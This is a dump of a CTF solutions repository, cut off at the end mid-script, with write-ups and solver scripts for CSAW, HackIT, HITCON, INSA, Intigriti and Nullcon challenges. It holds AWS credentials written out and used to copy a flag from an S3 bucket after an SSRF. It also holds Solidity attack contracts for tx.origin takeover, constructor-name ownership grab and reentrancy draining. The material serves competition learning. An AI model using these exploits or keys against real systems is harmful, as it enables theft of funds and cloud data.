AWS_SESSION_TOKEN="FQoGZXIvYXdzEH8aDBRJgAqobBZNonIvaiK3AxU/YAzjrN2zoyIqHN/shiRZZiFGsK/gXDBoOuduCfhaa0NzF+USj3k8XgpC/SZ8D8cGt7mzWbTNRNhTLQxGb1SSJ0wTc2AedvcLpvnWBUquNi3CDm0G9pyZy2GUrUfVTBX4dqnPnKQAHwTh1vxtf/4wHW8T1l0DU8IMTYud8nyzZXmCgYyonLOGa+IW3Vu56nPce5e/iN9jVzV34BFNqJ71N5t8gkpd0t4jwV8fBtb+mRyCT7dNyFdl1jMSb8CtkU/OGzLW/n5qmWRMasEvhNHBWg8+CB5vt8XmJkvAFmkP91Iv3cmqfY7VWuXJ2VvHw3Z8K6uxkW6LV7xmiJRRwuUtrXVf/+KH+TzoNTi0V3sIKb/839MRDnfVd5V/Q7+q6TgSKyUa900EeEDizOTxQZIzRS1fQpjL1s3pwZ4ESqUCmYdLgBH96Swv8y7X9mWRKjPx0MXP4PLLrWrJHq54UqMVwtoun4GEezCJIiq7S5SoLMiIYbPnAqYubaWfvV2YPPnCJ1JUDQkwF42+UJxGGb65jKlz8k7P92w6wn0i2lnkcehGsO6omwkIWBFVSs2Niu1njwjIoU4okpOW3wU=" 87 | dcua@ubuntu:~/.aws$ AWS_ACCESS_KEY_ID='ASIAS7BJMNVVYOPYAMR6' AWS_SECRET_ACCESS_KEY='U/SHZlLN6OLQ3AVWgdh2pWZ7lV1FEjKS5nR/wgBC' aws s3 ls s3://csaw-ctf 88 | 2018-11-02 12:52:38 36 flag 89 | dcua@ubuntu:~/.aws$ AWS_ACCESS_KEY_ID='ASIAS7BJMNVVYOPYAMR6' AWS_SECRET_ACCESS_KEY='U/SHZlLN6OLQ3AVWgdh2pWZ7lV1FEjKS5nR/wgBC' aws s3 cp s3://csaw-ctf/flag ./flag 90 | download: s3://csaw-ctf/flag to ./flag 91 | dcua@ubuntu:~/.aws$ cat flag 92 | flag{SsRF_1s-c0oL_Ag4iN-w1th_cl0uDs} 93 | ``` 94 | 95 | 96 | ##### flag{SsRF_1s-c0oL_Ag4iN-w1th_cl0uDs} 97 | -------------------------------------------------------------------------------- /csaw-finals-2018/online-previewer/images/README.md: -------------------------------------------------------------------------------- 1 | # Yes, visual happiness 2 | -------------------------------------------------------------------------------- /csaw-finals-2018/online-previewer/images/web400-1.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aadityapurani/My-CTF-Solutions/0c21034d27d957cb2509bf1198457e1e6e39fb82/csaw-finals-2018/online-previewer/images/web400-1.PNG -------------------------------------------------------------------------------- /csaw-finals-2018/online-previewer/images/web400-2.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aadityapurani/My-CTF-Solutions/0c21034d27d957cb2509bf1198457e1e6e39fb82/csaw-finals-2018/online-previewer/images/web400-2.PNG -------------------------------------------------------------------------------- /gccs-finals-2017/GCCS 2017 Finals report-Day2.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aadityapurani/My-CTF-Solutions/0c21034d27d957cb2509bf1198457e1e6e39fb82/gccs-finals-2017/GCCS 2017 Finals report-Day2.pdf -------------------------------------------------------------------------------- /gccs-finals-2017/README.md: -------------------------------------------------------------------------------- 1 | # GCCS Finals 2017 CTF 2 | 3 | Day 1: Network Hacking CTF 4 | 5 | Day 2: Pentesting CTF 6 | 7 | We finished 1st in International Category and received award from Prime Minister of India Hon. Narendra Modi & Prime Minister of Srilanka Hon. Ranil Wickeremesinghe. 8 | 9 | -------------------------------------------------------------------------------- /hackit-ethereumctf-onsite/0x00.md: -------------------------------------------------------------------------------- 1 | Disassemble opcodes to get hidden fields like username and password. I leave for reader as an exercise :P 2 | ``` 3 | await contract.run() 4 | "Contract has some methods. Go to info() method" 5 | await contract.info() 6 | "There is a station contract. For more details read the message()" 7 | await contract.message() 8 | "Who is the hero of this game? Use checkTheName() method with appropriate param" 9 | await contract.checkTheName("elliot") 10 | "Good. Now, try to getAccess() for advanced station settings. If you know the param for this method..Carefully examine the contract" 11 | await contract.getAccess("mrrobot312") 12 | await contract.suspicious() 13 | "mrrobot312" 14 | ``` 15 | 16 | Submit 17 | -------------------------------------------------------------------------------- /hackit-ethereumctf-onsite/0x01.md: -------------------------------------------------------------------------------- 1 | ``` 2 | for (i=0; i<1000; i++){ 3 | s = await contract.files(i) 4 | if (s[1] == "Leave me here"){ 5 | console.log(i); 6 | } 7 | } 8 | > 30 9 | ``` 10 | ``` 11 | await contract.files(30) 12 | 13 | contract.changeAccessById(30, true) 14 | ``` 15 | submit 16 | -------------------------------------------------------------------------------- /hackit-ethereumctf-onsite/0x02.sol: -------------------------------------------------------------------------------- 1 | contract OnesAndZeros { 2 | 3 | struct DrugTest { 4 | address responsible; 5 | bool result; 6 | } 7 | 8 | mapping(bytes32 => DrugTest) public tests; 9 | 10 | address public doctor; 11 | address public nurse; 12 | 13 | modifier grantDoctor() { 14 | require(msg.sender == doctor); 15 | _; 16 | } 17 | 18 | modifier grantNurse() { 19 | require(msg.sender == nurse); 20 | _; 21 | } 22 | 23 | function setDoctor(address _doctor) public { 24 | doctor = _doctor; 25 | } 26 | 27 | function setNurse(address _nurse) public grantDoctor { 28 | nurse = _nurse; 29 | } 30 | 31 | function add(bytes32 date, bool result) public grantNurse { 32 | tests[date] = DrugTest(msg.sender, result); 33 | } 34 | 35 | function getResultByDate(bytes32 date) public view returns (bool) { 36 | return tests[date].result; 37 | } 38 | } 39 | 40 | 41 | //0xchangeit 42 | 43 | contract Hacking{ 44 | 45 | address contractaddr = 0xchangeit; 46 | OnesAndZeros re; 47 | address owner; 48 | 49 | function Hacking() public { 50 | owner = msg.sender; 51 | re = OnesAndZeros(contractaddr); 52 | } 53 | 54 | function setDoc() public { 55 | re.setDoctor(tx.origin); 56 | } 57 | 58 | 59 | function setNurse() public{ 60 | re.setNurse(tx.origin); 61 | } 62 | 63 | function win() public{ 64 | re.add('03/15/2018', true); 65 | } 66 | 67 | } 68 | -------------------------------------------------------------------------------- /hackit-ethereumctf-onsite/0x03.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.18; 2 | 3 | import "zeppelin-solidity/contracts/ownership/Ownable.sol"; 4 | 5 | 6 | contract IDataEntity is Ownable { 7 | bytes public ipfsAddress; 8 | uint256 public dataDim; 9 | uint256 public currentPrice; 10 | 11 | function updatePrice(uint256 newPrice) external; 12 | function withdrawBalance() external; 13 | 14 | event PriceUpdated(uint256 oldPrice, uint256 newPrice); 15 | } 16 | 17 | 18 | contract DataEntity is IDataEntity { 19 | 20 | bytes public ipfsAddress; 21 | uint256 public dataDim; 22 | uint256 public currentPrice; 23 | 24 | event PriceUpdated(uint256 oldPrice, uint256 newPrice); 25 | 26 | // Constructor but it's as a function 27 | function IDataEntity (bytes _ipfsAddress, uint256 _dataDim, uint256 _initialPrice) public { 28 | dataDim = _dataDim; 29 | ipfsAddress = _ipfsAddress; 30 | currentPrice = _initialPrice; //We call constructor aka this is function for DataEntity contract and we win. 31 | } 32 | 33 | function updatePrice (uint256 _newPrice) external onlyOwner 34 | { 35 | uint256 oldPrice = currentPrice; 36 | currentPrice = _newPrice; 37 | 38 | PriceUpdated(oldPrice, _newPrice); // Event is called. This will leave impression on Blockchain 39 | } 40 | 41 | function withdrawBalance() external onlyOwner // Can be called only by the owner 42 | { 43 | owner.transfer(this.balance); 44 | } 45 | } 46 | 47 | function Hacking{ 48 | address contractaddr = 0xcontractaddr; 49 | DataEntity re; 50 | address owner; 51 | 52 | function Hacking() public { 53 | owner = msg.sender; 54 | re = DataEntity(contractaddr); 55 | } 56 | 57 | function pwn() public{ 58 | re.IDataEntity(tx.origin, 777, 333827); 59 | } 60 | 61 | } 62 | -------------------------------------------------------------------------------- /hackit-ethereumctf-onsite/0x04.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.18; 2 | 3 | 4 | contract Exploits { 5 | 6 | mapping(address => uint) public balances; 7 | 8 | function donate(address _to) public payable { 9 | balances[_to] += msg.value; 10 | } 11 | 12 | function balanceOf(address _who) public constant returns (uint balance) { 13 | return balances[_who]; 14 | } 15 | 16 | function withdraw(uint _amount) public { 17 | if (balances[msg.sender] >= _amount) { 18 | if (msg.sender.call.value(_amount)()) { 19 | _amount; 20 | } 21 | balances[msg.sender] -= _amount; 22 | } 23 | } 24 | 25 | function() payable {} 26 | } 27 | 28 | contract Hacking{ 29 | 30 | address contractaddr = 0xcontractaddr; //replace ffs 31 | Exploits re; 32 | address owner; 33 | 34 | function Hacking() public { 35 | owner = msg.sender; 36 | re = Exploits(contractaddr); 37 | } 38 | 39 | 40 | function donate() public payable{ 41 | re.donate.value(msg.value)(this); 42 | } 43 | 44 | 45 | function attack() public payable{ 46 | re.withdraw(0.1 ether); 47 | } 48 | 49 | function our_bal() public view returns(uint){ 50 | return address(this).balance; 51 | } 52 | 53 | function get_balance() public view returns(uint) { 54 | return re.balanceOf(this); 55 | } 56 | 57 | function() public payable{ 58 | re.withdraw(0.1 ether); 59 | } 60 | 61 | function kill () { 62 | require(msg.sender == owner); 63 | selfdestruct(owner); 64 | } 65 | 66 | 67 | } 68 | -------------------------------------------------------------------------------- /hackit-ethereumctf-onsite/README.md: -------------------------------------------------------------------------------- 1 | # HackIT Onsite ethereum CTF 2 | 3 | Solved all challenges within 1 hour. 1st place 4 | 5 | -------------------------------------------------------------------------------- /hitcon18/ev3-basic/solve_basic.py: -------------------------------------------------------------------------------- 1 | import json 2 | import operator 3 | 4 | ''' 5 | Have to read documentation and see how opUI_DRAW worked 6 | 840501xxxxyyyyff 7 | opcode text black xcord ycord char 8 | Communication happens from localhost ethernet -> ev3 9 | ''' 10 | 11 | 12 | # Taken from https://stackoverflow.com/questions/10664856/make-dictionary-with-duplicate-keys-in-python 13 | class DictList(dict): 14 | def __setitem__(self, key, value): 15 | try: 16 | # Assumes there is a list on the key 17 | self[key].append(value) 18 | except KeyError: # if fails because there is no key 19 | super(DictList, self).__setitem__(key, value) 20 | except AttributeError: # if fails because it is not a list 21 | super(DictList, self).__setitem__(key, [self[key], value]) 22 | 23 | blk1="" 24 | blk2="" 25 | blk3="" 26 | blk4="" 27 | dict1 = DictList() 28 | dict2 = DictList() 29 | dict3 = DictList() 30 | dict4 = DictList() 31 | 32 | # btrfcomm && packetlogger.type==0x02 && data 33 | with open('data_ev3_1.1') as f: 34 | data = json.load(f) 35 | 36 | for j in xrange(0, 4): 37 | data_dump="" 38 | stack="" 39 | for i in xrange(0, len(data)): 40 | tmp = "".join(data[i]["_source"]["layers"]["data"]["data.data"].split(":")) 41 | if j ==0: 42 | #print "[+] Retrieving block 1" 43 | if '2884' in tmp: 44 | meh = tmp.find('2884') 45 | beep = tmp[meh+4:][:2] 46 | xcord = tmp[meh-4:][:4] 47 | if '00' in xcord[:2]: 48 | xcord = tmp[meh-6:][:6] 49 | xcord_int = int(xcord, 16) 50 | beep_nice = beep.decode('hex') 51 | if beep_nice in stack: 52 | beep_nice = beep_nice+"#" 53 | stack +=beep_nice 54 | dict1[beep_nice] = xcord_int 55 | #blk1 += beep_nice 56 | #print data_dump 57 | elif j == 1: 58 | #print "[+] Retrieving block 2" 59 | if '3684' in tmp: 60 | meh = tmp.find('3684') 61 | beep = tmp[meh+4:][:2] 62 | xcord = tmp[meh-4:][:4] 63 | if '00' in xcord[:2]: 64 | xcord = tmp[meh-6:][:6] 65 | xcord_int = int(xcord, 16) 66 | beep_nice = beep.decode('hex') 67 | if beep_nice in stack: 68 | beep_nice = beep_nice+"#" 69 | stack +=beep_nice 70 | dict2[beep_nice] = xcord_int 71 | #print data_dump 72 | elif j == 2: 73 | #print "[+] Retrieving block 3" 74 | if '4484' in tmp: 75 | meh = tmp.find('4484') 76 | beep = tmp[meh+4:][:2] 77 | xcord = tmp[meh-4:][:4] 78 | if '00' in xcord[:2]: 79 | xcord = tmp[meh-6:][:6] 80 | xcord_int = int(xcord, 16) 81 | beep_nice = beep.decode('hex') 82 | if beep_nice in stack: 83 | beep_nice = beep_nice+"#" 84 | count +=1 85 | stack +=beep_nice 86 | dict3[beep_nice] = xcord_int 87 | #print data_dump 88 | elif j == 3: 89 | #print "[+] Retrieving block 4" 90 | if '5284' in tmp: 91 | meh = tmp.find('5284') 92 | beep = tmp[meh+4:][:2] 93 | xcord = tmp[meh-4:][:4] 94 | if '00' in xcord[:2]: 95 | xcord = tmp[meh-6:][:6] 96 | xcord_int = int(xcord, 16) 97 | beep_nice = beep.decode('hex') 98 | if beep_nice in stack: 99 | beep_nice = beep_nice+"#" 100 | stack +=beep_nice 101 | dict4[beep_nice] = xcord_int 102 | #print data_dump 103 | 104 | print dict1 105 | sorted_dict1 = sorted(dict1.items(), key=operator.itemgetter(1)) 106 | for i in xrange(0, len(sorted_dict1)): 107 | blk1 += sorted_dict1[i][0] 108 | 109 | sorted_dict2 = sorted(dict2.items(), key=operator.itemgetter(1)) 110 | for i in xrange(0, len(sorted_dict2)): 111 | blk2 += sorted_dict2[i][0] 112 | 113 | sorted_dict3 = sorted(dict3.items(), key=operator.itemgetter(1)) 114 | for i in xrange(0, len(sorted_dict3)): 115 | blk3 += sorted_dict3[i][0] 116 | 117 | sorted_dict4 = sorted(dict4.items(), key=operator.itemgetter(1)) 118 | for i in xrange(0, len(sorted_dict4)): 119 | blk4 += sorted_dict4[i][0] 120 | 121 | 122 | x = blk1.replace("#", '') 123 | y = blk2.replace("#", '') 124 | z = blk3.replace("#", '') 125 | zz = blk4.replace("#", '') 126 | 127 | print x+y+z+zz 128 | #hitcon{m1nd5t0rm_communication_and_firmware_developer_kit} 129 | -------------------------------------------------------------------------------- /hitcon18/ev3-scanner/solve_scanner.py: -------------------------------------------------------------------------------- 1 | import json 2 | 3 | ''' 4 | Instruction opInput_Device (CMD, …) 5 | Opcode 0x99 6 | Now here we are looking at the read values from the sensor sent from ev3 to localhost ethernet 7 | It seems like # for black and for white will recreate the image 8 | Example payload: 99 1d 00 02 00 02 01 60 9 | length = 8 Bytes 10 | 99 = Opcode 11 | 1d = READY_SI 12 | 00 = Layer number 0 13 | 02 = Port Number of Sensor 14 | 00 = Type (default) 15 | 02 = Mode (default) 16 | 01 = Returned values (eh?) 17 | Seems this payload is send as a request to read the values from sensor I think and the ev3 will respond it. 18 | Hence, the communication weill be from LegoSyst -> localhost ethernet this case as values taken from robot will be sent of. 19 | The response data variantions are minute : 20 | 00 c0 80 21 | 00 80 3f 22 | + + 45 (1st + is faster, 2nd is increment) 23 | 00 c0 80 24 | 00 80 3f 25 | - - 45 26 | 00 c0 40 27 | 00 80 3f 28 | + + 45 (1st + is faster, 2nd is increment) 29 | This looks like the ++45 means robot is making 180 degree U-Turn towards Right hand side 30 | - - 45 is to nullify I think, making 180 degree U-Turn towards Left hand side 31 | and c0 80 , c0 40 means White color read 32 | 80 3f means black color read 33 | >>> int('c0', 16), int('80',16) 34 | (192, 128) 35 | >>> int('80', 16), int('3f',16) 36 | (128, 63) 37 | So, if the color is black then seems sensor value will be down 38 | ----> 1 39 | <----- 2 40 | -------> 3 41 | ............ 42 | --------> 11 43 | So, robot will traverse 11 times on the mattress. 44 | ''' 45 | 46 | with open('ev3-scanner.json') as f: 47 | data = json.load(f) 48 | 49 | alert = 0 50 | total_turn = 0 51 | 52 | first_round = "" 53 | second_round = "" 54 | third_round = "" 55 | fourth_round ="" 56 | fifth_round = "" 57 | six_round ="" 58 | seven_round="" 59 | eight_round = "" 60 | nine_round = "" 61 | ten_round = "" 62 | eleven_round = "" 63 | 64 | for i in xrange(0, len(data)): 65 | tmp = "".join(data[i]["_source"]["layers"]["data"]["data.data"].split(":")) 66 | if len(tmp) == 18: 67 | i = 1 68 | identifier1 = tmp[12:][0:2] 69 | identifier2 = tmp[12:][2:4] 70 | identifier3 = tmp[12:][4:6] 71 | 72 | if identifier3 == '45': # Likely 180 U Turn 73 | alert = 1 74 | # break # start of the fucking turn 75 | continue 76 | 77 | elif identifier2 == 'c0' or identifier3 == '40' and identifier1 == '00': # Likely white 78 | if alert == 1: # Turn has been taken 79 | print "[+] Turn was taken" 80 | alert = 0 81 | total_turn += 1 82 | if total_turn == 0: 83 | first_round += " " 84 | elif total_turn == 1: 85 | second_round += " " 86 | elif total_turn == 2: 87 | third_round += " " 88 | elif total_turn == 3: 89 | fourth_round += " " 90 | elif total_turn == 4: 91 | fifth_round += " " 92 | elif total_turn == 5: 93 | six_round += " " 94 | elif total_turn == 6: 95 | seven_round += " " 96 | elif total_turn == 7: 97 | eight_round += " " 98 | elif total_turn == 8: 99 | nine_round += " " 100 | elif total_turn == 9: 101 | ten_round += " " 102 | elif total_turn == 10: 103 | eleven_round += " " 104 | if total_turn == 0: 105 | first_round += " " 106 | elif total_turn == 1: 107 | second_round += " " 108 | elif total_turn == 2: 109 | third_round += " " 110 | elif total_turn == 3: 111 | fourth_round += " " 112 | elif total_turn == 4: 113 | fifth_round += " " 114 | elif total_turn == 5: 115 | six_round += " " 116 | elif total_turn == 6: 117 | seven_round += " " 118 | elif total_turn == 7: 119 | eight_round += " " 120 | elif total_turn == 8: 121 | nine_round += " " 122 | elif total_turn == 9: 123 | ten_round += " " 124 | elif total_turn == 10: 125 | eleven_round += " " 126 | 127 | elif identifier2 == '80' and identifier1 == '00': # Likely black 128 | if alert == 1: 129 | print "[+] Turn was taken" 130 | alert = 0 131 | total_turn += 1 132 | if total_turn == 0: 133 | first_round += "#" 134 | elif total_turn == 1: 135 | second_round += "#" 136 | elif total_turn == 2: 137 | third_round += "#" 138 | elif total_turn == 3: 139 | fourth_round += "#" 140 | elif total_turn == 4: 141 | fifth_round += "#" 142 | elif total_turn == 5: 143 | six_round += "#" 144 | elif total_turn == 6: 145 | seven_round += "#" 146 | elif total_turn == 7: 147 | eight_round += "#" 148 | elif total_turn == 8: 149 | nine_round += "#" 150 | elif total_turn == 9: 151 | ten_round += "#" 152 | elif total_turn == 10: 153 | eleven_round += " " 154 | if total_turn == 0: 155 | first_round += "#" 156 | elif total_turn == 1: 157 | second_round += "#" 158 | elif total_turn == 2: 159 | third_round += "#" 160 | elif total_turn == 3: 161 | fourth_round += "#" 162 | elif total_turn == 4: 163 | fifth_round += "#" 164 | elif total_turn == 5: 165 | six_round += "#" 166 | elif total_turn == 6: 167 | seven_round += "#" 168 | elif total_turn == 7: 169 | eight_round += "#" 170 | elif total_turn == 8: 171 | nine_round += "#" 172 | elif total_turn == 9: 173 | ten_round += "#" 174 | elif total_turn == 10: 175 | eleven_round +="#" 176 | 177 | 178 | print "[+] Total turn taken was "+str(total_turn) 179 | print first_round 180 | print second_round[::-1] 181 | print third_round 182 | print fourth_round[::-1] 183 | print fifth_round 184 | print six_round[::-1] 185 | print seven_round 186 | print eight_round[::-1] 187 | print nine_round 188 | print ten_round[::-1] 189 | print eleven_round 190 | 191 | print "*************************************************************************************" 192 | print len(first_round) 193 | print len(second_round) 194 | print len(third_round) 195 | print len(fourth_round) 196 | print len(fifth_round) 197 | print len(six_round) 198 | print len(seven_round) 199 | print len(eight_round) 200 | print len(nine_round) 201 | print len(ten_round) 202 | print len(eleven_round) 203 | #hitcon{EV3GYROSUCKS} 204 | -------------------------------------------------------------------------------- /insahack/README.md: -------------------------------------------------------------------------------- 1 | Didn't played this event, just solved handful of stuff to train a colleague on 'How to CTF' 2 | -------------------------------------------------------------------------------- /insahack/drone/solve.py: -------------------------------------------------------------------------------- 1 | import matplotlib 2 | import matplotlib.pyplot as plt 3 | 4 | x=0 5 | y=0 6 | z=0 7 | final_X=[] 8 | final_Y=[] 9 | final_Z=[] 10 | 11 | with open('sensor.tsv', 'r') as f: 12 | lines = f.readlines() 13 | t = [] 14 | for l in lines: 15 | x+=float(l.split(' ')[0]) 16 | y+=float(l.split(' ')[1]) 17 | z+=float(l.split(' ')[2]) 18 | final_X.append(x) 19 | final_Y.append(y) 20 | final_Z.append(z) 21 | 22 | ax = plt.plot(final_X, final_Y) 23 | plt.axis('equal') 24 | plt.show() 25 | -------------------------------------------------------------------------------- /insahack/xhell/solve.py: -------------------------------------------------------------------------------- 1 | import xlwings as xw 2 | wbxl=xw.Book('xHell.xlsx') 3 | for c in xrange(1, 257): 4 | for d in xrange(1, 257): 5 | wbxl.sheets['Feuil1'].range('B1').value = c+46 6 | wbxl.sheets['Feuil1'].range('C1').value = c 7 | wbxl.sheets['Feuil1'].range('D1').value = d 8 | wbxl.sheets['Feuil1'].range('E1').value = d+119 9 | if wbxl.sheets['Feuil1'].range('E82').value == 1: 10 | print "INSA{"+str(c+46)+"-"+str(c)+"-"+str(d)+"-"+str(d+119)+"}" 11 | 12 | #INSA{75-29-13-132} 13 | #INSA{203-157-13-132} 14 | -------------------------------------------------------------------------------- /intigritictf-2018/README.md: -------------------------------------------------------------------------------- 1 | # Intigriti CTF Writeup 2019 2 | 3 | The below report is in format sent to the Intigriti Team. 4 | 5 | ##### Proof of Concept 6 | 7 | 1.) Open the [Intigriti Tweet](https://twitter.com/intigriti/status/1082979668972748803), as we can see there is a url. The [image url](https://pbs.twimg.com/media/DweADlgXgAAehHh.jpg) can also be accessed by opening it in new tab 8 | 9 | 2.) Next, it seems that this image may have been shared from link via some other twitter a/c as twitter automatically expands it to preview mode. Hence, by that I found a different twitter account called [WhereIsTheFlag](https://twitter.com/WhereIsTheFlag) which does feel like an account related to the CTF challenge 10 | This can be reproduceable by going to [Twitter Publish](https://publish.twitter.com) and in the url putting the initial Intigriti's Tweet. 11 | The output 12 | ``` 13 | 14 | ``` 15 | 16 | As we can see `pic.twitter.com/0PFZNd692W` which leads to `https://twitter.com/WhereIsTheFlag/status/1082975045977362432/photo/1` 17 | 18 | 3.) We download the image using 19 | ``` 20 | $ curl https://pbs.twimg.com/media/DweADlgXgAAehHh.jpg -o challenge.jpg 21 | ``` 22 | 23 | 4.) Next, inspect the bytes inside the image using 24 | ``` 25 | $ hexdump -C challenge.jpg | less 26 | ``` 27 | We can notice `PK` , `nottheflag.pdf` as strings inside it. The first one being a standard header format for ZIP files and other is the name of the file present inside that zip. 28 | 29 | 5.) We use 30 | ``` 31 | $ mv challenge.jpg itsazip.zip 32 | ``` 33 | and extract it 34 | ``` 35 | $ unzip itsazip.zip -d outputofzip/ 36 | ``` 37 | 38 | 6.) As expected, it contains `nottheflag.pdf` file, The content of the pdf file were 39 | ``` 40 | aHR0cHM6Ly9nby5pbnRpZ3JpdGkuY29tLzA3YjBmTDI0bGttdmE= 41 | Source for this cool technique: 42 | https://twitter.com/David3141593/status/1058124224798380032 43 | ``` 44 | 45 | 7.) It could be known that the first line is base64 chunk. We can decode it like 46 | ``` 47 | $ echo "aHR0cHM6Ly9nby5pbnRpZ3JpdGkuY29tLzA3YjBmTDI0bGttdmE=" | base64 -d 48 | ``` 49 | The output being 50 | https://go.intigriti.com/07b0fL24lkmva 51 | 52 | 8.) One more link, so let's open it which enables us downloading data.zip file, but it is a password protected one. I tried `fcrackzip` a tool which enables zip password brute-forcing with custom wordlists, rockyou.txt etc. But it did not work 53 | 54 | 9.) Now we know that password is unguessable and non-bruteforceable, We look back at `step-2`, and open the profile. We inspect the profile image using `StegSolver.jar` but get nothing, next we can open the cover image which sort of looks like default twitter cover pic (Empty cover in other words), but it's not. The fine researchers of Intigriti tricked us, Hence we open the cover image, and can see `F1nDBuGz_` which is the password for `data.zip` file. 55 | 56 | 10.) Now, after extracting we could see 441 image files, either black or white color having 11x11 size. It is trivial that this points to QR-Code Type-1 format which has 21x21 data which equals to 441 images, confirming our assumption. 57 | 58 | 11.) Now, the goal is to combine those image and then get the output. For that, I use a tool called `montage` , it comes along with `imagemagick`. On a debian based system, it can be installed as 59 | ``` 60 | $ sudo apt installimagemagick 61 | $ sudo apt install graphicsmagick-imagemagick-compat 62 | ``` 63 | Now, we can move files from `0_01.jpg` to `0_09.jpg` to `0_1.jpg` to `0_9.jpg` using `mv` linux command. 64 | 65 | 12.) Finally we run our `montage` command which looks like 66 | ``` 67 | $ montage $(for i in $(seq 1 441); do echo "1_$i.jpg";done) -mode Concatenate -tile 21x output.png 68 | ``` 69 | Essentially, it takes all the image and creates a table of 21 x 21 and concatenates it. There are other ways like manual retrieval or even using PIL Python. But, this one is short and crisp. 70 | The final image looks like this 71 | 72 | ![Output](https://i.ibb.co/j4dW3CP/output.png) 73 | 74 | 13.) We can use our cell-phone QR code app or online web-app to upload the image and decode it 75 | 76 | ### FLAG:YOUWINTIGRITI 77 | -------------------------------------------------------------------------------- /nullconctf2019/README.md: -------------------------------------------------------------------------------- 1 | # Nullcon HackIM 2019 CTF 2 | 3 | Team Rank: 2nd place 4 | -------------------------------------------------------------------------------- /nullconctf2019/mlauth/README.md: -------------------------------------------------------------------------------- 1 | # MLAuth 2 | 3 | Bruteforcing the profile bytes = 764*256 trials in order to get the probability = 1.0 4 | -------------------------------------------------------------------------------- /nullconctf2019/mlauth/solve_ml.py: -------------------------------------------------------------------------------- 1 | from keras.models import * 2 | import numpy as np 3 | 4 | # Load Model once 5 | model = load_model('./keras_model') 6 | 7 | def join_l(l, sep): 8 | li = iter(l) 9 | string = str(next(li)) 10 | for i in li: 11 | string += str(sep) + str(i) 12 | return string 13 | 14 | def get_proba(profile): 15 | np.set_printoptions(suppress=True) 16 | prof_h = profile.split('0x') 17 | ip = [int(_, 16) for _ in prof_h[1:]] 18 | ip = np.array(ip, dtype='float32')/255 19 | # reshape profile as required by the trained model 20 | ip = ip.reshape([1,28,28,1]) 21 | # load model 22 | predicted = model.predict(ip)[0][1] 23 | return predicted 24 | 25 | profile='0x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x80x750xfe0xdc0x590x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00xd0x5f0xd40xfd0xfd0xfd0x9d0x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x100x5f0xd10xfd0xfd0xfd0xf50x7d0x120x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x280x600xce0xfd0xfe0xfd0xfd0xc60x400x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x2c0xb60xf00xfd0xfd0xfd0xfe0xfd0xc60x180x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00xf0x3c0x3c0xa80xfd0xfd0xfe0xc80x170x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x460xf70xfd0xfd0xf50x150x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x4b0xcf0xfd0xfd0xcf0x5c0x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x4f0xdb0xfd0xfd0xfd0x8a0x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x690xfa0xfd0xfd0xfd0x220x10x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x5f0xfe0xfe0xfe0xfe0x5e0x00x00x00x00x00x30xd0xd0xd0x80x00x00x00x00x00x00x00x00x00x00x00x00x6b0xfd0xfd0xfd0xcc0xf0x00x00x00x00x150xa60xfd0xfd0xfd0xd40x190x00x00x00x00x00x00x00x00x00x00x210xd90xfd0xfd0x840x400x00x00x120x2b0x9d0xab0xfd0xfd0xfd0xfd0xfd0xa00x20x00x00x00x00x00x00x00x00x30xa60xfd0xfd0xf20x310x110x310x9e0xd20xfe0xfd0xfd0xfd0xfd0xfd0xfd0xfd0xfd0xb0x00x00x00x00x00x00x00x00xa0xe30xfd0xfd0xcf0xf0xac0xfd0xfd0xfd0xfe0xf70xc90xfd0xd20xd20xfd0xfd0xaf0x40x00x00x00x00x00x00x00x00xa0xe40xfd0xfd0xe00x570xf20xfd0xfd0xb80x3c0x360x90x3c0x230xb60xfd0xfd0x340x00x00x00x00x00x00x00x00x00xd0xfd0xfd0xfd0xfd0xe70xfd0xfd0xfd0x5d0x560x560x560x6d0xd90xfd0xfd0x860x50x00x00x00x00x00x00x00x00x00x20x730xfd0xfd0xfd0xfd0xfd0xfd0xfd0xfd0xfe0xfd0xfd0xfd0xfd0xfd0x860x50x00x00x00x00x00x00x00x00x00x00x00x30xa60xfd0xfd0xfd0xfd0xfd0xfd0xfd0xfe0xfd0xfd0xfd0xaf0x340x50x00x00x00x00x00x00x00x00x00x00x00x00x00x70x230x840xe10xfd0xfd0xfd0xc30x840x840x840x6e0x40x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x0' 26 | 27 | plist = profile.split('0x') 28 | print len(plist) 29 | 30 | b_space=[] 31 | for i in xrange(0, 256): 32 | b_space.append('{:01x}'.format(i)) 33 | 34 | 35 | global_maxest = 0 36 | which_byte = [None]*(len(plist)) 37 | 38 | for h in xrange(1, len(plist)): 39 | global_max=0 40 | print "Current maxest is " +str(global_maxest) 41 | if global_maxest > 0.99: 42 | print "[+] pwned it" 43 | break 44 | print "[+] Bruting the byte "+str(h-1) 45 | for i in 